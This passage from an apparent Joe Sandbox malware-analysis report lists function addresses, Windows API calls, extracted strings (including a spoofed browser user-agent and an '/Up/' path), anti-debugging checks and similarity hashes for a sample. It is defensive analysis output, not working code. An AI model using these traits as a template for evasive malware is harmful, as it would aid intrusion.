GetProcessHeap.KERNEL32(00000000,00000000,0024F49C,?,?,?), ref: 00218FAF
HeapFree.KERNEL32(00000000), ref: 00218FB6

Part of subcall function 0020A568: __EH_prolog3_GS.LIBCMT ref: 0020A56F

Part of subcall function 00206308: __EH_prolog3_GS.LIBCMT ref: 00206312
Part of subcall function 00206308: GetTempPathA.KERNEL32(00000104,?,0000013C), ref: 0020632A

Part of subcall function 00216884: __EH_prolog3.LIBCMT ref: 0021688B

Part of subcall function 00206671: __EH_prolog3_GS.LIBCMT ref: 0020667B

Sleep.KERNEL32(00000BB8,0024F3A0), ref: 002190F3

Part of subcall function 00206671: OutputDebugStringA.KERNEL32(00000000,?,?,?,?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 00206893

Strings

(, xrefs: 0021914D
/Up/, xrefs: 0021909B, 00219113
Mozilla/5.0 (Linux x86_64) AppleWebKit/600.48 (KHTML, like Gecko) Chrome/50.0.2598.249 Safari/603, xrefs: 00219002

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: H_prolog3_$H_prolog3$Heap$DebugFreeH_prolog3_catchOutputPathProcessSleepStringTemp
String ID: ($/Up/$Mozilla/5.0 (Linux x86_64) AppleWebKit/600.48 (KHTML, like Gecko) Chrome/50.0.2598.249 Safari/603
API String ID: 3833634691-864039517
Opcode ID: 16eb36333b2101133628b24668ad07912f918cd3d95c86761a8113da15527184
Instruction ID: 500869e14c09cd95a05debed312d66218e8ff04b1e36d5b0e338be3f7ee5e268
Opcode Fuzzy Hash: 16eb36333b2101133628b24668ad07912f918cd3d95c86761a8113da15527184
Instruction Fuzzy Hash: 73529B31D24358EADB15EBA8C899BDDBBB4AF25300F5040E9A145A71D2DF701F98CF62

Function 0023C03A Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1473COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 0023C251

Strings

1#INF, xrefs: 0023C170
1#IND, xrefs: 0023C13F
1#QNAN, xrefs: 0023C14D
1#SNAN, xrefs: 0023C146

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: dcbb5d2d6266d6cabb3ef95914c192579cd8e7f784bdcf86f03cdac8ae91e5ca
Instruction ID: 19c9ec00f875323a1dc1002f1a28afa467323b7be7cec7cfed3c3180555fdfb9
Opcode Fuzzy Hash: dcbb5d2d6266d6cabb3ef95914c192579cd8e7f784bdcf86f03cdac8ae91e5ca
Instruction Fuzzy Hash: 8BD24BB1E282298FDB65CE28DD407EAB7B5EB44304F2441EAD84DF7240D774AE958F41

Function 002393A9 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,002396BB,00000002,00000000,?,?,?,002396BB,?,00000000), ref: 00239442
GetLocaleInfoW.KERNEL32(?,20001004,002396BB,00000002,00000000,?,?,?,002396BB,?,00000000), ref: 0023946B
GetACP.KERNEL32(?,?,002396BB,?,00000000), ref: 00239480

Strings

OCP, xrefs: 002393FD
ACP, xrefs: 002393C7

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 52d8eff1c36bdb30ced7fe7556a4ef67e079b54a0f27c2858695ff5c69727b71
Instruction ID: 09c67194e47768126450cc5bd5803ac7fcf68dbb5a6a5ed28f18ee8ddf7db285
Opcode Fuzzy Hash: 52d8eff1c36bdb30ced7fe7556a4ef67e079b54a0f27c2858695ff5c69727b71
Instruction Fuzzy Hash: 5B21F5E2A30106A6EB348F54D908B9773A6FB42B50F168064EA0EC7210E7B2DDE2C350

Function 00239585 Relevance: 7.7, APIs: 5, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 002313A9: GetLastError.KERNEL32(00000000,00000000,00237270), ref: 002313AD
Part of subcall function 002313A9: SetLastError.KERNEL32(00000000,00000000,00000000,00000006,000000FF), ref: 0023144F

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 0023968D
IsValidCodePage.KERNEL32(00000000), ref: 002396CB
IsValidLocale.KERNEL32(?,00000001), ref: 002396DE
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00239726
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00239741

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: cde53c060e7e5aa3c268874fe1a6a5ad50fb5bd7a9852bb19585b59b6f0066eb
Instruction ID: 111f1a671d0787e319e60c43c3ae719b8da1485f7477eb4177169df0369ba19b
Opcode Fuzzy Hash: cde53c060e7e5aa3c268874fe1a6a5ad50fb5bd7a9852bb19585b59b6f0066eb
Instruction Fuzzy Hash: 5F518EF1A20206AFDB10EFA5DC45AAEB7BCAF06700F144469F504EB190DBB099A4CF61

Function 00238BF9 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 256COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 002313A9: GetLastError.KERNEL32(00000000,00000000,00237270), ref: 002313AD
Part of subcall function 002313A9: SetLastError.KERNEL32(00000000,00000000,00000000,00000006,000000FF), ref: 0023144F

GetACP.KERNEL32(?,?,?,?,?,?,0022D8F1,?,?,?,00000055,?,-00000050,?,?,00000000), ref: 00238CB8
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,0022D8F1,?,?,?,00000055,?,-00000050,?,?), ref: 00238CEF
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00238E54

Strings

utf8, xrefs: 00238DC1

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: 30ef539e7a798e9c22faaf7315510b34aebb49f0ffa25e692dcbbcc544389893
Instruction ID: 527b76f1aae921193706e35001f6a46bbef212821c5f9663d92b85057ae0091b
Opcode Fuzzy Hash: 30ef539e7a798e9c22faaf7315510b34aebb49f0ffa25e692dcbbcc544389893
Instruction Fuzzy Hash: EC71E7F2620307AADB29AF74CC46BAA73A8EF15710F14446AF505DF1C1EF70E9648B61

Function 00228960 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b54f330be523bf74fb6e165f179a1ee627a2c41003d33122c132f8584647ece6
Instruction ID: d5c108d0e1415603f0041d0042ce67a8f46f166363ee73421c36a35c3737c177
Opcode Fuzzy Hash: b54f330be523bf74fb6e165f179a1ee627a2c41003d33122c132f8584647ece6
Instruction Fuzzy Hash: 53024D71E1122AABDF14CFA8D8807AEF7B1FF48314F14826AD915E7380DB31A955CB90

Function 0021D3D0 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 0021D3DC
IsDebuggerPresent.KERNEL32 ref: 0021D4A8
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0021D4C1
UnhandledExceptionFilter.KERNEL32(?), ref: 0021D4CB

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: fe2d7500e417b5aee4a195a61c5ef386176006161da175618b6b636c187539f8
Instruction ID: 83bc0a3d9218c853a8790e4924c636eda81a2294b187decadd3c25233ec9a815
Opcode Fuzzy Hash: fe2d7500e417b5aee4a195a61c5ef386176006161da175618b6b636c187539f8
Instruction Fuzzy Hash: 77310775D01228DBDB20EFA4D9897CDBBB8BF18300F1041AAE40CAB250E7719A84CF45

Function 00232B10 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 408timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00232F55,00000000,00000000,00000000), ref: 00232E14

Strings

U/#, xrefs: 00232D44, 00232CFD
]/#, xrefs: 00232DEA, 00232DED

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: InformationTimeZone
String ID: U/#$]/#
API String ID: 565725191-1733638092
Opcode ID: 97956425083656ec42fcf562afffea0d065d3f030354fa54de2acd466812b9db
Instruction ID: 9f2ea0c7efffebaeb111fb704213fe46da83dd7ccf19b479fdccf245b4260f09
Opcode Fuzzy Hash: 97956425083656ec42fcf562afffea0d065d3f030354fa54de2acd466812b9db
Instruction Fuzzy Hash: 1BC14BF1D20226EBDB10AFA4DC06ABE77B9EF04710F244056F905EB291E7709E65CB94

Function 00239020 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 002313A9: GetLastError.KERNEL32(00000000,00000000,00237270), ref: 002313AD
Part of subcall function 002313A9: SetLastError.KERNEL32(00000000,00000000,00000000,00000006,000000FF), ref: 0023144F

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00239074
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 002390BE
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00239184

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 8fc0381ee7472fe74d2751ad7fad9cfcea0cc335630eb49025be3bf814b5432c
Instruction ID: 5bc62a13734acf7b09cc00c6a0163d6e8cb4b290e53fd727a8ee9ec9c4983bbb
Opcode Fuzzy Hash: 8fc0381ee7472fe74d2751ad7fad9cfcea0cc335630eb49025be3bf814b5432c
Instruction Fuzzy Hash: 0961A5B1520607AFDB249F28CC96BBAB7A8EF46300F144079ED09D6681E7B4D9E5CF50

Function 0022B6EC Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 0022B7E4
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 0022B7EE
UnhandledExceptionFilter.KERNEL32(-00000328,?,?,?,?,?,00000000), ref: 0022B7FB

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: d59f1e320c4a6e31a41e688241f8f050737505263eeeb64634a341bd5c004805
Instruction ID: a0ba4b2e998bedff55d3f3077d2517ec02cfb06fca237f73afb064dcb458f913
Opcode Fuzzy Hash: d59f1e320c4a6e31a41e688241f8f050737505263eeeb64634a341bd5c004805
Instruction Fuzzy Hash: 8131D274911229ABCB21DF64E889BCCBBB8BF18310F5041EAE40CA6261E7709B958F55

Function 00224EC6 Relevance: 3.0, APIs: 2, Instructions: 44timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,002052B9,00000000), ref: 00224EDB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00224EFA

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: Time$FileSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 1518329722-0
Opcode ID: 611302253a0291f7d5107e31756f922e57d122ac0c47b67eeb6f4b0e60dc66a3
Instruction ID: 7cad87ea94091e1394a2907381a2053edbbbbbc17a82e12fcd5ee0c448136962
Opcode Fuzzy Hash: 611302253a0291f7d5107e31756f922e57d122ac0c47b67eeb6f4b0e60dc66a3
Instruction Fuzzy Hash: 64F02DB1A102257B4724EFADEA0489EBEE9EFC57707254155F809D3754E570DD01C790

Function 002130A2 Relevance: 2.9, Strings: 2, Instructions: 397COMMON

Download Yara Rule

Strings

Z !, xrefs: 00213214
Z !, xrefs: 00213261, 002132DA, 002132B0

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID:
String ID: Z !$Z !
API String ID: 0-1985138166
Opcode ID: 715712f29d670a95aff59f5fba2e1e57a807b9476c7315398adea803938ab135
Instruction ID: 4fd8f7fe35af3485c1d6b5ec003bd90c52860ba49f189816d69bc42c6996755d
Opcode Fuzzy Hash: 715712f29d670a95aff59f5fba2e1e57a807b9476c7315398adea803938ab135
Instruction Fuzzy Hash: DBF12972E1021A9FCF08CFA8D991AEDB7F2BF98310F248169E455A7344D734AE55CB60

Function 00202D56 Relevance: 1.8, Strings: 1, Instructions: 596COMMON

Download Yara Rule

Strings

, xrefs: 0020323C

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 295db234734d761d94158b5f97da22d78615a2e368034af9bd1b703066b22697
Instruction ID: 0acb8add55f6b7049665ceac611073384be5f3bdb285d2620bf15055e7a7532d
Opcode Fuzzy Hash: 295db234734d761d94158b5f97da22d78615a2e368034af9bd1b703066b22697
Instruction Fuzzy Hash: D042CE71A10A56DFCB19CF69C4806A9FBF1FF08304F18816AD459E7B82D734A9A5CF80

Function 0023AA6E Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,0023AA69,?,?,00000008,?,?,0023FA4F,00000000), ref: 0023AC9B

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 2b19202797d66fc3128c8a7eb4b72b630d6b0918ddb7299b2cfce1c8d29c3d33
Instruction ID: 455174a3d0d06aba5a52dc8374dc63ddd7308eae8e2db86bcad727e8bc6409eb
Opcode Fuzzy Hash: 2b19202797d66fc3128c8a7eb4b72b630d6b0918ddb7299b2cfce1c8d29c3d33
Instruction Fuzzy Hash: 3CB19E71220609CFD719CF28C48AB657BE1FF05364F258669E8DACF2A1C335D9A2CB41

Function 0021D1DF Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0021D1F5

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 009077de63503df796a9847a9c079f3b5d3c31ad6d36fec90a9c93878d56ad63
Instruction ID: cdc3130a18059cb3d74de2cd0beec2bbc8ce1d4c18313a5b426a68eb88603701
Opcode Fuzzy Hash: 009077de63503df796a9847a9c079f3b5d3c31ad6d36fec90a9c93878d56ad63
Instruction Fuzzy Hash: 18517B71A21206CFEB18CF64E9897AABBF0FB54311F24846AD811EB291E774D990CF51

Function 0023576B Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff8594604197e8e3b63ed52ede3cbbcc7108b6caa100b9a05baff67a65b3a9b2
Instruction ID: a99af515be5b5971857e38dc857514850231f42a5dfbdab971dd2b1f8d8f166d
Opcode Fuzzy Hash: ff8594604197e8e3b63ed52ede3cbbcc7108b6caa100b9a05baff67a65b3a9b2
Instruction Fuzzy Hash: FF41C4B5C1562DAFDF20DF69CC89AAABBB9AF45300F1442D9E40DE3201DA349E948F50

Function 0022AE84 Relevance: 1.6, Strings: 1, Instructions: 333COMMON

Download Yara Rule

Strings

0, xrefs: 0022AFF4

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 349938bc103d0dec82b1fd7c3eddd669f8bb5247fb9641501179edb1743633b0
Instruction ID: f14e03b53865b882a239a22181db6bbb215c82edf234b3761bc9d840bbb819b3
Opcode Fuzzy Hash: 349938bc103d0dec82b1fd7c3eddd669f8bb5247fb9641501179edb1743633b0
Instruction Fuzzy Hash: 05C13270920727AFCB26CFE8E69067AB7B1EF05300F140619E46687E91C376AD75CB52

Function 00239280 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 002313A9: GetLastError.KERNEL32(00000000,00000000,00237270), ref: 002313AD
Part of subcall function 002313A9: SetLastError.KERNEL32(00000000,00000000,00000000,00000006,000000FF), ref: 0023144F

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 002392D4

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 2b83d1c33d24948861b28e7d21184f36d74db822808daf71a3e720e67bceccf3
Instruction ID: ae98a59576645038fa09e374e265cd9c02b611a5a2b8999c0bc1e9388eeebcd7
Opcode Fuzzy Hash: 2b83d1c33d24948861b28e7d21184f36d74db822808daf71a3e720e67bceccf3
Instruction Fuzzy Hash: C02198F2A60207ABEB189E15DC45ABA73ACEF56314F1400BAFD05D7181E7B4DDA4CB50

Function 0021C2B7 Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0021C2C1

Part of subcall function 0021C272: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,0021C316,000000FF,00000000,0021C315,00000000,00000000,?,?,?,?,0021C316,?), ref: 0021C2A8

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505788584.0000000000246000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505815361.0000000000259000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2505835637.000000000025C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_OXoeX1Ii3x.jbxd

Similarity

API ID: ByteCharH_prolog3_MultiWide
String ID:
API String ID: 1474283020-0
Opcode ID: efc4173355e1b9123d87d05a72004fd05870dcfefa6430e4461de022cb495d9c
Instruction ID: 34d759998a05c1d7466c8220b72391e6bf7a3912a2c5e94d54f37878fc1dda77
Opcode Fuzzy Hash: efc4173355e1b9123d87d05a72004fd05870dcfefa6430e4461de022cb495d9c
Instruction Fuzzy Hash: E6219572D6122DA7CB24EBA4CC8ABCD77B8AF10310F5045D1A618A7182DB746FD5CF90

Function 00204B0C Relevance: 1.6, Strings: 1, Instructions: 315COMMON

Download Yara Rule

Strings

,, xrefs: 00204D74

Memory Dump Source

Source File: 00000000.00000002.2505754480.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.2505732647.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
